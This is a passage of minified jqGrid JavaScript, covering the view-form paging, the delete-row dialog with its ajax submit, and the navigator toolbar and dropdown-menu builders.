Ye.jgrid.hideModal("#"+Ye.jgrid.jqID(t.themodal),{gb:"#gbox_"+Ye.jgrid.jqID(i),jqm:B.jqModal,onClose:B.onClose,removemodal:J[a.p.id].removemodal,formprop:!J[a.p.id].recreateForm,form:J[a.p.id].form}),!1}),Ye("#"+l+"_2").find("[data-index]").each(function(){var t=parseInt(Ye(this).attr("data-index"),10);0<=t&&B.buttons[t].hasOwnProperty("click")&&Ye(this).on("click",function(e){B.buttons[t].click.call(a,Ye("#"+r)[0],J[a.p.id],e)})}),Ye("#nData","#"+l+"_2").click(function(){Ye("#FormError","#"+l).hide();var e=O();return e[0]=parseInt(e[0],10),-1!==e[0]&&e[1][e[0]+1]&&(Ye(a).triggerHandler("jqGridViewRowClickPgButtons",["next",Ye("#"+o),e[1][e[0]]]),Ye.jgrid.isFunction(B.onclickPgButtons)&&B.onclickPgButtons.call(a,"next",Ye("#"+o),e[1][e[0]]),N(e[1][e[0]+1],a),a.p.multiselect&&J[a.p.id].viewselected||Ye(a).jqGrid("setSelection",e[1][e[0]+1]),Ye(a).triggerHandler("jqGridViewRowAfterClickPgButtons",["next",Ye("#"+o),e[1][e[0]+1]]),Ye.jgrid.isFunction(B.afterclickPgButtons)&&B.afterclickPgButtons.call(a,"next",Ye("#"+o),e[1][e[0]+1]),M(e[0]+1,e)),R(),!1}),Ye("#pData","#"+l+"_2").click(function(){Ye("#FormError","#"+l).hide();var e=O();return-1!==e[0]&&e[1][e[0]-1]&&(Ye(a).triggerHandler("jqGridViewRowClickPgButtons",["prev",Ye("#"+o),e[1][e[0]]]),Ye.jgrid.isFunction(B.onclickPgButtons)&&B.onclickPgButtons.call(a,"prev",Ye("#"+o),e[1][e[0]]),N(e[1][e[0]-1],a),a.p.multiselect&&J[a.p.id].viewselected||Ye(a).jqGrid("setSelection",e[1][e[0]-1]),Ye(a).triggerHandler("jqGridViewRowAfterClickPgButtons",["prev",Ye("#"+o),e[1][e[0]-1]]),Ye.jgrid.isFunction(B.afterclickPgButtons)&&B.afterclickPgButtons.call(a,"prev",Ye("#"+o),e[1][e[0]-1]),M(e[0]-1,e)),R(),!1}),O());M(p[0],p),this.refreshViewForm=function(e,t){!(t=void 0===t?!1:t)&&P!==e||N(e,this),t&&(P=e)}}}function R(){!0!==J[a.p.id].closeOnEscape&&!0!==J[a.p.id].navkeys[0]||setTimeout(function(){Ye(".ui-jqdialog-titlebar-close","#"+Ye.jgrid.jqID(t.modalhead)).attr("tabindex","-1").focus()},0)}function N(e,t){var r,i,o,a=0,n=Ye(t).jqGrid("getInd",e,!0);n&&(Ye("td",n).each(function(e){r=t.p.colModel[e].name,i=(!t.p.colModel[e].editrules||!0!==t.p.colModel[e].editrules.edithidden)&&!0===t.p.colModel[e].hidden,"cb"!==r&&"subgrid"!==r&&"rn"!==r&&"sc"!==r&&(o=r===t.p.ExpandColumn&&!0===t.p.treeGrid?Ye(this).text():Ye(this).html(),r=Ye.jgrid.jqID("v_"+r),Ye("#"+r+" span","#"+l).html(o),i&&Ye("#"+r,"#"+l).parents("tr").first().hide(),a++)}),0<a)&&Ye("#id_g","#"+l).val(e)}function M(e,t){var r=t[1].length-1;0===e?Ye("#pData","#"+l+"_2").addClass(z.disabled):void 0!==t[1][e-1]&&Ye("#"+Ye.jgrid.jqID(t[1][e-1])).hasClass(z.disabled)?Ye("#pData",l+"_2").addClass(z.disabled):Ye("#pData","#"+l+"_2").removeClass(z.disabled),e===r?Ye("#nData","#"+l+"_2").addClass(z.disabled):void 0!==t[1][e+1]&&Ye("#"+Ye.jgrid.jqID(t[1][e+1])).hasClass(z.disabled)?Ye("#nData",l+"_2").addClass(z.disabled):Ye("#nData","#"+l+"_2").removeClass(z.disabled)}function O(){var e=Ye(a).jqGrid("getDataIDs"),t=Ye("#id_g","#"+l).val();if(a.p.multiselect&&J[a.p.id].viewselected){for(var r=[],i=0,o=e.length;i<o;i++)-1!==Ye.inArray(e[i],a.p.selarrrow)&&r.push(e[i]);return[Ye.inArray(t,r),r]}return[Ye.inArray(t,e),e]}})},delGridRow:function(h,g){var e=Ye.jgrid.getRegional(this[0],"del"),t=this[0].p.styleUI,f=Ye.jgrid.styleUI[t].formedit,m=Ye.jgrid.styleUI[t].common;return g=Ye.extend(!0,{top:0,left:0,width:300,height:"auto",dataheight:"auto",modal:!1,overlay:30,drag:!0,resize:!0,url:"",mtype:"POST",reloadAfterSubmit:!0,beforeShowForm:null,beforeInitData:null,afterShowForm:null,beforeSubmit:null,onclickSubmit:null,afterSubmit:null,jqModal:!0,closeOnEscape:!1,delData:{},delicon:[],cancelicon:[],onClose:null,ajaxDelOptions:{},processing:!1,serializeDelData:null,useDataProxy:!1},e,g||{}),J[Ye(this)[0].p.id]=g,this.each(function(){var l=this;if(l.grid&&h){var s,i,o,d=l.p.id,p={},e=!0,c="DelTbl_"+Ye.jgrid.jqID(d),r="DelTbl_"+d,u={themodal:"delmod"+d,modalhead:"delhd"+d,modalcontent:"delcnt"+d,scrollelm:c};if(J[l.p.id].styleUI=l.p.styleUI||"jQueryUI",Array.isArray(h)&&(h=h.join()),void 0!==Ye("#"+Ye.jgrid.jqID(u.themodal))[0]){if(!1===(e=(e=void 0===(e=Ye(l).triggerHandler("jqGridDelRowBeforeInitData",[Ye("#"+c)]))?!0:e)&&Ye.jgrid.isFunction(J[l.p.id].beforeInitData)?J[l.p.id].beforeInitData.call(l,Ye("#"+c)):e))return;Ye("#DelData>td","#"+c).text(h),Ye("#DelError","#"+c).hide(),!0===J[l.p.id].processing&&(J[l.p.id].processing=!1,Ye("#dData","#"+c).removeClass(m.active))}else{var t=isNaN(J[l.p.id].dataheight)?J[l.p.id].dataheight:J[l.p.id].dataheight+"px",a=isNaN(g.datawidth)?g.datawidth:g.datawidth+"px",a="<div id='"+r+"' class='formdata' style='width:"+a+";overflow:auto;position:relative;height:"+t+";'>",t=(a=(a=(a=a+"<table class='DelTable'><tbody>"+("<tr id='DelError' style='display:none'><td class='"+m.error+"'></td></tr>"))+("<tr id='DelData' style='display:none'><td >"+h+"</td></tr>"))+('<tr><td class="delmsg" style="white-space:pre;">'+J[l.p.id].msg+"</td></tr><tr><td > </td></tr>")+"</tbody></table></div>","<a id='dData' class='fm-button "+m.button+"'>"+g.bSubmit+"</a>"),n="<a id='eData' class='fm-button "+m.button+"'>"+g.bCancel+"</a>",t=Array.isArray(J[l.p.id].buttons)?Ye.jgrid.buildButtons(J[l.p.id].buttons,t+n,m):t+n,n=Ye(".ui-jqgrid").css("font-size")||"11px";if(a+="<table class='EditTable ui-common-table' id='"+c+"_2'><tbody><tr><td><hr class='"+m.content+"' style='margin:1px'/></td></tr><tr><td class='DelButton EditButton'>"+t+"</td></tr></tbody></table>",g.gbox="#gbox_"+Ye.jgrid.jqID(d),Ye.jgrid.createModal(u,a,J[l.p.id],"#gview_"+Ye.jgrid.jqID(l.p.id),Ye("#gview_"+Ye.jgrid.jqID(l.p.id))[0],null,{"font-size":n}),Ye(".fm-button","#"+c+"_2").hover(function(){Ye(this).addClass(m.hover)},function(){Ye(this).removeClass(m.hover)}),g.delicon=Ye.extend([!0,"left",f.icon_del],J[l.p.id].delicon),g.cancelicon=Ye.extend([!0,"left",f.icon_cancel],J[l.p.id].cancelicon),!0===g.delicon[0]&&Ye("#dData","#"+c+"_2").addClass("right"===g.delicon[1]?"fm-button-icon-right":"fm-button-icon-left").append("<span class='"+m.icon_base+" "+g.delicon[2]+"'></span>"),!0===g.cancelicon[0]&&Ye("#eData","#"+c+"_2").addClass("right"===g.cancelicon[1]?"fm-button-icon-right":"fm-button-icon-left").append("<span class='"+m.icon_base+" "+g.cancelicon[2]+"'></span>"),Ye("#dData","#"+c+"_2").click(function(){var e,a=[!0,""],n=Ye("#DelData>td","#"+c).text();if(p={},void 0===(p=Ye(l).triggerHandler("jqGridDelRowClickSubmit",[J[l.p.id],n]))&&Ye.jgrid.isFunction(J[l.p.id].onclickSubmit)&&(p=J[l.p.id].onclickSubmit.call(l,J[l.p.id],n)||{}),(a=(a=void 0===(a=Ye(l).triggerHandler("jqGridDelRowBeforeSubmit",[n]))?[!0,"",""]:a)[0]&&Ye.jgrid.isFunction(J[l.p.id].beforeSubmit)?J[l.p.id].beforeSubmit.call(l,n):a)[0]&&!J[l.p.id].processing){if(J[l.p.id].processing=!0,i=l.p.prmNames,s=Ye.extend({},J[l.p.id].delData,p),o=i.oper,s[o]=i.deloper,o=i.id,!(n=String(n).split(",")).length)return!1;for(e in n)n.hasOwnProperty(e)&&(n[e]=Ye.jgrid.stripPref(l.p.idPrefix,n[e]));s[o]=n.join(),Ye(this).addClass(m.active);var t,r=Ye.extend({url:J[l.p.id].url||Ye(l).jqGrid("getGridParam","editurl"),type:J[l.p.id].mtype,data:Ye.jgrid.isFunction(J[l.p.id].serializeDelData)?J[l.p.id].serializeDelData.call(l,s):s,success:function(e,t,r){var i,o;if(Ye("#dData","#"+c+"_2").removeClass(m.active),300<=r.status&&304!==r.status?(a[0]=!1,a[1]=Ye(l).triggerHandler("jqGridDelRowErrorTextFormat",[r]),Ye.jgrid.isFunction(J[l.p.id].errorTextFormat)&&(a[1]=J[l.p.id].errorTextFormat.call(l,r)),void 0===a[1]&&(a[1]=t+" Status: '"+r.statusText+"'. Error code: "+r.status)):(a=void 0===(a=Ye(l).triggerHandler("jqGridDelRowAfterSubmit",[r,s]))?[!0,"",""]:a)[0]&&Ye.jgrid.isFunction(J[l.p.id].afterSubmit)&&(a=J[l.p.id].afterSubmit.call(l,r,s)),!1===a[0])Ye("#DelError>td","#"+c).html(a[1]),Ye("#DelError","#"+c).show();else{if(J[l.p.id].reloadAfterSubmit&&"local"!==l.p.datatype)Ye(l).trigger("reloadGrid");else{if(!0===l.p.treeGrid)try{Ye(l).jqGrid("delTreeNode",l.p.idPrefix+n[0],!0)}catch(e){}else for(i=0;i<n.length;i++)Ye(l).jqGrid("delRowData",l.p.idPrefix+n[i]);l.p.selrow=null,l.p.selarrrow=[]}(Ye.jgrid.isFunction(J[l.p.id].afterComplete)||Object.prototype.hasOwnProperty.call(Ye._data(Ye(l)[0],"events"),"jqGridDelRowAfterComplete"))&&(o=r,setTimeout(function(){Ye(l).triggerHandler("jqGridDelRowAfterComplete",[o,s]);try{J[l.p.id].afterComplete.call(l,o,s)}catch(e){}},500))}J[l.p.id].processing=!1,a[0]&&Ye.jgrid.hideModal("#"+Ye.jgrid.jqID(u.themodal),{gb:"#gbox_"+Ye.jgrid.jqID(d),jqm:g.jqModal,onClose:J[l.p.id].onClose})}},Ye.jgrid.ajaxOptions,J[l.p.id].ajaxDelOptions);r.url||J[l.p.id].useDataProxy||(Ye.jgrid.isFunction(l.p.dataProxy)?J[l.p.id].useDataProxy=!0:(a[0]=!1,a[1]+=" "+Ye.jgrid.getRegional(l,"errors.nourl"))),a[0]&&(J[l.p.id].useDataProxy?!1===(t=void 0===(t=l.p.dataProxy.call(l,r,"del_"+l.p.id))?[!0,""]:t)[0]?(a[0]=!1,a[1]=t[1]||"Error deleting the selected row!"):Ye.jgrid.hideModal("#"+Ye.jgrid.jqID(u.themodal),{gb:"#gbox_"+Ye.jgrid.jqID(d),jqm:g.jqModal,onClose:J[l.p.id].onClose}):"clientArray"===r.url?(s=r.data,r.success({status:200,statusText:""},"")):"storage"===r.url?Ye(l).jqGrid("deleteStorageRecord",n).then(function(e){"complete"===e.type&&r.success(n,"",{status:200,statusText:""})}).catch(function(e){Ye.jgrid.info_dialog("Error",e.target.error.name+" : "+e.target.error.message,"Close")}):Ye.ajax(r))}return!1===a[0]&&(Ye("#DelError>td","#"+c).html(a[1]),Ye("#DelError","#"+c).show()),!1}),Ye("#eData","#"+c+"_2").click(function(){return Ye.jgrid.hideModal("#"+Ye.jgrid.jqID(u.themodal),{gb:"#gbox_"+Ye.jgrid.jqID(d),jqm:J[l.p.id].jqModal,onClose:J[l.p.id].onClose}),!1}),Ye("#"+c+"_2").find("[data-index]").each(function(){var t=parseInt(Ye(this).attr("data-index"),10);0<=t&&g.buttons[t].hasOwnProperty("click")&&Ye(this).on("click",function(e){g.buttons[t].click.call(l,Ye("#"+r)[0],J[l.p.id],e)})}),!1===(e=(e=void 0===(e=Ye(l).triggerHandler("jqGridDelRowBeforeInitData",[Ye("#"+c)]))?!0:e)&&Ye.jgrid.isFunction(J[l.p.id].beforeInitData)?J[l.p.id].beforeInitData.call(l,Ye("#"+c)):e))return}Ye(l).triggerHandler("jqGridDelRowBeforeShowForm",[Ye("#"+c)]),Ye.jgrid.isFunction(J[l.p.id].beforeShowForm)&&J[l.p.id].beforeShowForm.call(l,Ye("#"+c)),Ye.jgrid.viewModal("#"+Ye.jgrid.jqID(u.themodal),{gbox:"#gbox_"+Ye.jgrid.jqID(d),jqm:J[l.p.id].jqModal,overlay:J[l.p.id].overlay,modal:J[l.p.id].modal}),Ye(l).triggerHandler("jqGridDelRowAfterShowForm",[Ye("#"+c)]),Ye.jgrid.isFunction(J[l.p.id].afterShowForm)&&J[l.p.id].afterShowForm.call(l,Ye("#"+c)),!0===J[l.p.id].closeOnEscape&&setTimeout(function(){Ye(".ui-jqdialog-titlebar-close","#"+Ye.jgrid.jqID(u.modalhead)).attr("tabindex","-1").focus()},0)}})},navGrid:function(g,f,m,v,j,b,y){var w=Ye.jgrid.getRegional(this[0],"nav"),x=this[0].p.styleUI,e=Ye.jgrid.styleUI[x].navigator,_=Ye.jgrid.styleUI[x].common;return f=Ye.extend({edit:!0,editicon:e.icon_edit_nav,add:!0,addicon:e.icon_add_nav,del:!0,delicon:e.icon_del_nav,search:!0,searchicon:e.icon_search_nav,refresh:!0,refreshicon:e.icon_refresh_nav,refreshstate:"firstpage",view:!1,viewicon:e.icon_view_nav,position:"left",closeOnEscape:!0,beforeRefresh:null,afterRefresh:null,cloneToTop:!1,alertwidth:200,alertheight:"auto",alerttop:null,alertleft:null,alertzIndex:null,dropmenu:!1,navButtonText:""},w,f||{}),this.each(function(){if(!this.p.navGrid){var t,r=this;if(r.grid&&"string"==typeof g){Ye(r).data("navGrid")||Ye(r).data("navGrid",f),t=Ye(r).data("navGrid"),(t=r.p.force_regional?Ye.extend(t,w):t).alerttop||t.alertleft||((e=Ye.jgrid.findPos(this))[0]=Math.round(e[0]),e[1]=Math.round(e[1]),0===(i=isNaN(this.p.height)?Ye(r.grid.bDiv).height():this.p.height)&&(i=200),t.alertleft=e[0]+this.p.width/2-parseInt(t.alertwidth,10)/2,t.alerttop=e[1]+i/2-25);var e,i,o,a=function(){Ye.jgrid.info_dialog(t.alertcap,"<div>"+t.alerttext+"</div><span tabindex='0'><span tabindex='-1' id='jqg_alrt'></span></span>","",{jqModal:!0,drag:!0,resize:!0,caption:t.alertcap,width:t.alertwidth,height:t.alertheight,top:t.alerttop,left:t.alertleft,closeOnEscape:t.closeOnEscape,styleUI:r.p.styleUI,zIndex:t.alertzIndex})},n=1,l=function(){Ye(this).hasClass(_.disabled)||Ye(this).addClass(_.hover)},s=function(){Ye(this).removeClass(_.hover)};for(t.cloneToTop&&r.p.toppager&&(n=2),o=0;o<n;o++){var d,p,c,u=Ye("<table class='ui-pg-table navtable ui-common-table'><tbody><tr></tr></tbody></table>"),h="<td class='ui-pg-button "+_.disabled+"' style='width:4px;'><span class='ui-separator'></span></td>";0===o?(0===(p=g).indexOf("#")&&(p=p.substring(1),p="#"+Ye.jgrid.jqID(p)),c=r.p.id,p===r.p.toppager&&(c+="_top",n=1)):(p=r.p.toppager,c=r.p.id+"_top"),"rtl"===r.p.direction&&Ye(u).attr("dir","rtl").css("float","right"),v=v||{},t.add&&(d=Ye("<td class='ui-pg-button "+_.cornerall+"'></td>"),Ye(d).append("<div class='ui-pg-div'><span class='"+_.icon_base+" "+t.addicon+"'></span>"+t.addtext+"</div>"),Ye("tr",u).append(d),Ye(d,u).attr({title:t.addtitle||"",id:v.id||"add_"+c}).click(function(){return Ye(this).hasClass(_.disabled)||(Ye.jgrid.setSelNavIndex(r,this),Ye.jgrid.isFunction(t.addfunc)?t.addfunc.call(r):Ye(r).jqGrid("editGridRow","new",v)),!1}).hover(l,s),d=null),m=m||{},t.edit&&(d=Ye("<td class='ui-pg-button "+_.cornerall+"'></td>"),Ye(d).append("<div class='ui-pg-div'><span class='"+_.icon_base+" "+t.editicon+"'></span>"+t.edittext+"</div>"),Ye("tr",u).append(d),Ye(d,u).attr({title:t.edittitle||"",id:m.id||"edit_"+c}).click(function(){var e;return Ye(this).hasClass(_.disabled)||((e=r.p.selrow)?(Ye.jgrid.setSelNavIndex(r,this),Ye.jgrid.isFunction(t.editfunc)?t.editfunc.call(r,e):Ye(r).jqGrid("editGridRow",e,m)):(a(),Ye("#jqg_alrt").focus())),!1}).hover(l,s),d=null),y=y||{},t.view&&(d=Ye("<td class='ui-pg-button "+_.cornerall+"'></td>"),Ye(d).append("<div class='ui-pg-div'><span class='"+_.icon_base+" "+t.viewicon+"'></span>"+t.viewtext+"</div>"),Ye("tr",u).append(d),Ye(d,u).attr({title:t.viewtitle||"",id:y.id||"view_"+c}).click(function(){var e;return Ye(this).hasClass(_.disabled)||((e=r.p.selrow)?(Ye.jgrid.setSelNavIndex(r,this),Ye.jgrid.isFunction(t.viewfunc)?t.viewfunc.call(r,e):Ye(r).jqGrid("viewGridRow",e,y)):(a(),Ye("#jqg_alrt").focus())),!1}).hover(l,s),d=null),j=j||{},t.del&&(d=Ye("<td class='ui-pg-button "+_.cornerall+"'></td>"),Ye(d).append("<div class='ui-pg-div'><span class='"+_.icon_base+" "+t.delicon+"'></span>"+t.deltext+"</div>"),Ye("tr",u).append(d),Ye(d,u).attr({title:t.deltitle||"",id:j.id||"del_"+c}).click(function(){var e;return Ye(this).hasClass(_.disabled)||(r.p.multiselect?0===(e=r.p.selarrrow).length&&(e=null):e=r.p.selrow,e?(Ye.jgrid.setSelNavIndex(r,this),Ye.jgrid.isFunction(t.delfunc)?t.delfunc.call(r,e):Ye(r).jqGrid("delGridRow",e,j)):a()),!1}).hover(l,s),d=null),(t.add||t.edit||t.del||t.view)&&Ye("tr",u).append(h),b=b||{},t.search&&(d=Ye("<td class='ui-pg-button "+_.cornerall+"'></td>"),Ye(d).append("<div class='ui-pg-div'><span class='"+_.icon_base+" "+t.searchicon+"'></span>"+t.searchtext+"</div>"),Ye("tr",u).append(d),Ye(d,u).attr({title:t.searchtitle||"",id:b.id||"search_"+c}).click(function(){return Ye(this).hasClass(_.disabled)||(Ye.jgrid.setSelNavIndex(r,this),Ye.jgrid.isFunction(t.searchfunc)?t.searchfunc.call(r,b):Ye(r).jqGrid("searchGrid",b)),!1}).hover(l,s),b.showOnLoad&&!0===b.showOnLoad&&Ye(d,u).click(),d=null),t.refresh&&(d=Ye("<td class='ui-pg-button "+_.cornerall+"'></td>"),Ye(d).append("<div class='ui-pg-div'><span class='"+_.icon_base+" "+t.refreshicon+"'></span>"+t.refreshtext+"</div>"),Ye("tr",u).append(d),Ye(d,u).attr({title:t.refreshtitle||"",id:"refresh_"+c}).click(function(){if(!Ye(this).hasClass(_.disabled)){Ye.jgrid.isFunction(t.beforeRefresh)&&t.beforeRefresh.call(r),r.p.search=!1,r.p.resetsearch=!0;try{if("currentfilter"!==t.refreshstate){var e=r.p.id;r.p.postData.filters="";try{Ye("#fbox_"+Ye.jgrid.jqID(e)).jqFilter("resetFilter")}catch(e){}Ye.jgrid.isFunction(r.clearToolbar)&&r.clearToolbar.call(r,!1)}}catch(e){}switch(t.refreshstate){case"firstpage":Ye(r).trigger("reloadGrid",[{page:1}]);break;case"current":case"currentfilter":Ye(r).trigger("reloadGrid",[{current:!0}])}Ye.jgrid.isFunction(t.afterRefresh)&&t.afterRefresh.call(r),Ye.jgrid.setSelNavIndex(r,this)}return!1}).hover(l,s),d=null),h=Ye(".ui-jqgrid").css("font-size")||"11px",Ye("body").append("<div id='testpg2' class='ui-jqgrid "+Ye.jgrid.styleUI[x].base.entrieBox+"' style='font-size:"+h+";visibility:hidden;' ></div>"),h=Ye(u).clone().appendTo("#testpg2").width(),Ye("#testpg2").remove(),r.p._nvtd&&(t.dropmenu?(u=null,Ye(r).jqGrid("_buildNavMenu",p,c,Ye.extend(f,{ainfo:a}),m,v,j,b,y)):h>r.p._nvtd[0]?(r.p.responsive?(u=null,Ye(r).jqGrid("_buildNavMenu",p,c,Ye.extend(f,{ainfo:a}),m,v,j,b,y)):Ye(p+"_"+t.position,p).append(u).width(h),r.p._nvtd[0]=h):Ye(p+"_"+t.position,p).append(u),r.p._nvtd[1]=h),r.p.navGrid=!0}r.p.storeNavOptions&&(r.p.navOptions=t,r.p.editOptions=m,r.p.addOptions=v,r.p.delOptions=j,r.p.searchOptions=b,r.p.viewOptions=y,r.p.navButtons=[])}}})},navButtonAdd:function(s,d){var p=this[0].p.styleUI,e=Ye.jgrid.styleUI[p].navigator;return d=Ye.extend({caption:"newButton",title:"",buttonicon:e.icon_newbutton_nav,onClickButton:null,position:"last",cursor:"pointer",internal:!1},d||{}),this.each(function(){var t,r,e,i,o,a,n,l;this.grid&&"string"==typeof s&&(0===s.indexOf("#")&&(s=s.substring(1)),s="#"+Ye.jgrid.jqID(s),l=Ye(".navtable",s)[0],r=Ye.jgrid.styleUI[p].common.disabled,e=Ye.jgrid.styleUI[p].common.hover,i=Ye.jgrid.styleUI[p].common.cornerall,a=Ye.jgrid.styleUI[p].common.icon_base,(t=this).p.storeNavOptions&&!d.internal&&t.p.navButtons.push([s,d]),l?d.id&&void 0!==Ye("#"+Ye.jgrid.jqID(d.id),l)[0]||(n=Ye("<td></td>"),"NONE"===d.buttonicon.toString().toUpperCase()?Ye(n).addClass("ui-pg-button "+i).append("<div class='ui-pg-div'>"+d.caption+"</div>"):Ye(n).addClass("ui-pg-button "+i).append("<div class='ui-pg-div'><span class='"+a+" "+d.buttonicon+"'></span>"+d.caption+"</div>"),d.id&&Ye(n).attr("id",d.id),"first"!==d.position||0===l.rows[0].cells.length?Ye("tr",l).append(n):Ye("tr td",l).eq(0).before(n),Ye(n,l).attr("title",d.title||"").click(function(e){return Ye(this).hasClass(r)||(Ye.jgrid.setSelNavIndex(t,this),Ye.jgrid.isFunction(d.onClickButton)&&d.onClickButton.call(t,e)),!1}).hover(function(){Ye(this).hasClass(r)||Ye(this).addClass(e)},function(){Ye(this).removeClass(e)})):(l=Ye(".dropdownmenu",s)[0])&&(o=Ye(l).val(),a=d.id||Ye.jgrid.randId(),n=Ye('<li class="ui-menu-item" role="presentation"><a class="'+i+' g-menu-item" tabindex="0" role="menuitem" id="'+a+'">'+(d.caption||d.title)+"</a></li>"),o)&&("first"===d.position?Ye("#"+o).prepend(n):Ye("#"+o).append(n),Ye(n).on("click",function(e){return Ye(this).hasClass(r)||(Ye("#"+o).hide(),Ye.jgrid.isFunction(d.onClickButton)&&d.onClickButton.call(t,e)),!1}).find("a").hover(function(){Ye(this).hasClass(r)||Ye(this).addClass(e)},function(){Ye(this).removeClass(e)})))})},navSeparatorAdd:function(r,i){var e=this[0].p.styleUI,o=Ye.jgrid.styleUI[e].common;return i=Ye.extend({sepclass:"ui-separator",sepcontent:"",position:"last"},i||{}),this.each(function(){var e,t;this.grid&&("string"==typeof r&&0!==r.indexOf("#")&&(r="#"+Ye.jgrid.jqID(r)),t=Ye(".navtable",r)[0],this.p.storeNavOptions&&this.p.navButtons.push([r,i]),t?(e="<td class='ui-pg-button "+o.disabled+"' style='width:4px;'><span class='"+i.sepclass+"'></span>"+i.sepcontent+"</td>","first"!==i.position||0===t.rows[0].cells.length?Ye("tr",t).append(e):Ye("tr td",t).eq(0).before(e)):(t=Ye(".dropdownmenu",r)[0],e="<li class='ui-menu-item "+o.disabled+"' style='width:100%' role='presentation'><hr class='ui-separator-li'></li>",t&&(t=Ye(t).val())&&("first"===i.position?Ye("#"+t).prepend(e):Ye("#"+t).append(e))))})},_buildNavMenu:function(d,p,c,u,h,g,f,m){return this.each(function(){var e,t,r,i=this,o=Ye.jgrid.getRegional(i,"nav"),a=i.p.styleUI,n=Ye.jgrid.styleUI[a].filter,l=Ye.jgrid.styleUI[a].common,s="form_menu_"+Ye.jgrid.randId(),a=c.navButtonText||o.selectcaption||"Actions",o="<button class='dropdownmenu "+l.button+"' value='"+s+"'>"+a+"</button>";Ye(d+"_"+c.position,d).append(o);a=Ye(".ui-jqgrid").css("font-size")||"11px",r=Ye('<ul id="'+s+'" class="ui-nav-menu modal-content ui-menu column-menu jqgrid-column-menu '+l.shadow+'" role="menu" tabindex="0" style="display:none;font-size:'+a+'"></ul>'),c.add&&(e=(h=h||{}).id||"add_"+p,t=Ye('<li class="ui-menu-item" role="presentation"><a class="'+l.cornerall+' g-menu-item" tabindex="0" role="menuitem" id="'+e+'">'+(c.addtext.trim()||c.addtitle)+"</a></li>").click(function(){return Ye(this).hasClass(l.disabled)||(Ye.jgrid.isFunction(c.addfunc)?c.addfunc.call(i):Ye(i).jqGrid("editGridRow","new",h),Ye(r).hide()),!1}),Ye(r).append(t)),c.edit&&(e=(u=u||{}).id||"edit_"+p,t=Ye('<li class="ui-menu-item" role="presentation"><a class="'+l.cornerall+' g-menu-item" tabindex="0" role="menuitem" id="'+e+'">'+(c.edittext.trim()||c.edittitle)+"</a></li>").click(function(){var e;return Ye(this).hasClass(l.disabled)||((e=i.p.selrow)?Ye.jgrid.isFunction(c.editfunc)?c.editfunc.call(i,e):Ye(i).jqGrid("editGridRow",e,u):(c.ainfo(),Ye("#jqg_alrt").focus()),Ye(r).hide()),!1}),Ye(r).append(t)),c.view&&(e=(m=m||{}).id||"view_"+p,t=Ye('<li class="ui-menu-item" role="presentation"><a class="'+l.cornerall+' g-menu-item" tabindex="0" role="menuitem" id="'+e+'">'+(c.viewtext.trim()||c.viewtitle)+"</a></li>").click(function(){var e;return Ye(this).hasClass(l.disabled)||((e=i.p.selrow)?Ye.jgrid.isFunction(c.editfunc)?c.viewfunc.call(i,e):Ye(i).jqGrid("viewGridRow",e,m):(c.ainfo(),Ye("#jqg_alrt").focus()),Ye(r).hide()),!1}),Ye(r).append(t)),c.del&&(e=(g=g||{}).id||"del_"+p,t=Ye('<li class="ui-menu-item" role="presentation"><a class="'+l.cornerall+' g-menu-item" tabindex="0" role="menuitem" id="'+e+'">'+(c.deltext.trim()||c.deltitle)+"</a></li>").click(function(){var e;return Ye(this).hasClass(l.disabled)||(i.p.multiselect?0===(e=i.p.selarrrow).length&&(e=null):e=i.p.selrow,e?Ye.jgrid.isFunction(c.delfunc)?c.delfunc.call(i,e):Ye(i).jqGrid("delGridRow",e,g):c.ainfo(),Ye(r).hide()),!1}),Ye(r).append(t)),(c.add||c.edit||c.del||c.view)&&Ye(r).append("<li class='ui-menu-item "+l.disabled+"' style='width:100%' role='presentation'><hr class='ui-separator-li'></li>"),c.search&&(e=(f=f||{}).id||"search_"+p,t=Ye('<li class="ui-menu-item" role="presentation"><a class="'+l.cornerall+' g-menu-item" tabindex="0" role="menuitem" id="'+e+'">'+(c.searchtext.trim()||c.searchtitle)+"</a></li>").click(function(){return Ye(this).hasClass(l.disabled)||(Ye.jgrid.isFunction(c.searchfunc)?c.searchfunc.call(i,f):Ye(i).jqGrid("searchGrid",f),Ye(r).hide()),!1}),Ye(r).append(t),f.showOnLoad)&&!0===f.showOnLoad&&Ye(t).click(),c.refresh&&(e=f.id||"search_"+p,t=Ye('<li class="ui-menu-item" role="presentation"><a class="'+l.cornerall+' g-menu-item" tabindex="0" role="menuitem" id="'+e+'">'+(c.refreshtext||c.refreshtitle)+"</a></li>").click(function(){if(!Ye(this).hasClass(l.disabled)){Ye.jgrid.isFunction(c.beforeRefresh)&&c.beforeRefresh.call(i),i.p.search=!1,i.p.resetsearch=!0;try{if("currentfilter"!==c.refreshstate){var e=i.p.id;i.p.postData.filters="";try{Ye("#fbox_"+Ye.jgrid.jqID(e)).jqFilter("resetFilter")}catch(e){}Ye.jgrid.isFunction(i.clearToolbar)&&i.clearToolbar.call(i,!1)}}catch(e){}switch(c.refreshstate){case"firstpage":Ye(i).trigger("reloadGrid",[{page:1}]);break;case"current":case"currentfilter":Ye(i).trigger("reloadGrid",[{current:!0}])}Ye.jgrid.isFunction(c.afterRefresh)&&c.afterRefresh.call(i),Ye(r).hide()}return!1}),Ye(r).append(t)),Ye(r).hide(),Ye("body").append(r),Ye("#"+s).addClass("ui-menu "+n.menu_widget),Ye("#"+s+" > li > a").hover(function(){Ye(this).addClass(l.hover)},function(){Ye(this).removeClass(l.hover)}),Ye(".dropdownmenu",d+"_"+c.position).on("click",function(e){var t=Ye(this).offset(),r=t.left,t=parseInt(t.top),i=Ye(this).val();Ye("#"+i).show().css({top:t-(Ye("#"+i).height()+35)+"px",left:r+"px"}),e.stopPropagation()}),Ye("body").on("click",function(e){Ye(e.target).hasClass("dropdownmenu")||Ye("#"+s).hide()})})},GridToForm:function(i,o){return this.each(function(){var e,t=this;if(t.grid){var r=Ye(t).jqGrid("getRowData",i);if(r)for(e in r)r.hasOwnProperty(e)&&(Ye("[name="+Ye.jgrid.jqID(e)+"]",o).is("input:radio")||Ye("[name="+Ye.jgrid.jqID(e)+"]",o).is("input:checkbox")?Ye("[name="+Ye.jgrid.jqID(e)+"]",o).each(function(){Ye(this).val()==r[e]?Ye(this)[t.p.useProp?"prop":"attr"]("checked",!0):Ye(this)[t.p.useProp?"prop":"attr"]("checked",!1)}):Ye("[name="+Ye.jgrid.jqID(e)+"]",o).val(r[e]))}})},FormToGrid:function(t,i,o,a){return this.each(function(){var 